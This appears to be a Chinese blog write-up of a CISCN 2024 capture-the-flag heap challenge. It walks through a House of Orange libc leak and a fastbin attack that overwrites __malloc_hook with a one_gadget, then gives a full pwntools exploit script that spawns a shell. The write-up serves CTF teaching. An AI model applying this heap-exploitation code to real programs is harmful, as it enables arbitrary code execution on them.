【pwn25 2024 Ciscn初赛 orange_cat_diary】
K3yB0ard
2024年10月13日 16:23
收录于文集
共32篇

今年国赛初赛的一道pwn,感觉其实今年国赛初赛比去年的难度要高不少,当时赛场上5道做了3道,今天先更新这个比较常规的堆题吧。

看题目名字其实就猜到跟house of orange 有点关系可能。

首先我们看一下保护吧

checksec

保护全开。附件给了libc,版本是2.23,算是堆题中版本比较低的了,没有tcache,保护全开的情况下有限考虑malloc hook而且没有tcache估计要配合fastbin attack了。

看下main

mian

经典的菜单题目

menu

menu里面增查删改编辑全都有,还挺全的,标准的orange应该是没有free的,有点奇怪,继续一个一个函数看:

add

add函数允许我们控制malloc分配的堆块大小,最大为0x1000,size和堆指针分别由global_size和ptr两个全局变量保存,因为不是数组用来存储各个堆块size和指针,所以相当于我们“手里”同时只有一个堆块可以被操作。后面的新的堆块add进来就会覆盖ptr指针我们就操作不了以前的堆块了。

show

show函数直接打印ptr中的内容,只给我们一次机会show,应该就是泄露地址用的了。没啥问题。

delete

delete函数只给了一次机会free,用了之后就相当于没有free了,这里free之后没有清空ptr指针,存在UAF。那看来可能还是要走orange,相当于泄露libc可以走top chunk->unsorted bin 这一套,把这一次free留下来在别处用。

edit

edit函数可以溢出8字节堆块上的数据。

分析到这我们理一下攻击思路:

1、由于堆块大小可控,我们可以走orange,溢出top chunk 的size来制造一个unsorted bin,然后用这一次show得到libc地址。

2、之后用这一次free的UAF来打fastbin attack,伪造malloc hook附近的fake fast chunk,因为malloc hook附近有很多0x7f的libc地址,所以通常我们都能找到size为0x70的fake fast chunk,之后申请到malloc hook的堆块直接修改其为one_gadget即可。

完整exp 如下:

代码块
JavaScript
自动换行
复制代码
from pwn import *
from Crypto.Util.number import *
# from ctypes import *
# libc = CDLL("libc.so.6") 
context.arch='amd64'
context.log_level='debug'
r=process('./pwn')
# r = remote('8.147.133.230' ,29146)
libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
# libc = ELF('./libc.so.6')
# binnary = ELF('./Random')
# r = gdb.debug('./pwn',' b main')
def add(size,content):
    r.recvuntil(b'Please input your choice:')
    r.sendline(b'1')
    r.recvuntil(b'Please input the length of the diary content:')
    r.sendline(str(size).encode())
    r.recvuntil(b'Please enter the diary content:')
    r.sendline(content)
    r.recvuntil(b'Diary addition successful.\n')
def edit(size,content):
    r.recvuntil(b'Please input your choice:')
    r.sendline(b'4')
    r.recvuntil(b'Please input the length of the diary content:')
    r.sendline(str(size).encode())
    r.recvuntil(b'Please enter the diary content:')
    r.sendline(content)
def show():
    r.recvuntil(b'Please input your choice:')
    r.sendline(b'2')

def delete():
    r.recvuntil(b'Please input your choice:')
    r.sendline(b'3')

r.recvuntil(b'Hello, I\'m delighted to meet you. Please tell me your name.\n')
r.sendline(b'keyboard')

add(0x50,b'a')
add(0xf8,b'a')

edit(0x100,b'a'*0xf8+p64(0xea1))#堆溢出,修改top chunk
add(0x1000,b'bbbbbbbb')#orange 得到unsorted bin
add(0x100,b'')

show()#泄露libc
leek = r.recvuntil(b'\x7f')[-6:][::-1]
libc_base = bytes_to_long(leek) - 0x3c510a
print('libc base is ',hex(libc_base))


malloc_hook = libc_base+libc.symbols['__malloc_hook']
print('malloc_hook is ',hex(malloc_hook))

add(0x60,b'a')
delete()
edit(0x60,p64(malloc_hook-0x23))#UAF fastbin attack,伪造堆块到malloc hook附近

og = [0x4527a,0xf03a4,0xf1247]
add(0x60,b'a')
add(0x60,b'a'*0x13+p64(og[1]+libc_base))#覆盖malloc hook为one_gadget

r.recvuntil(b'Please input your choice:')
r.sendline(b'1')
r.recvuntil(b'Please input the length of the diary content:')
r.sendline(b'200')#触发malloc 执行one_gadget 得到shell

r.interactive()
复制成功

脚本攻击结果:

exp result

算是比较常规的堆题了。

By  Del0n1x

Keyboard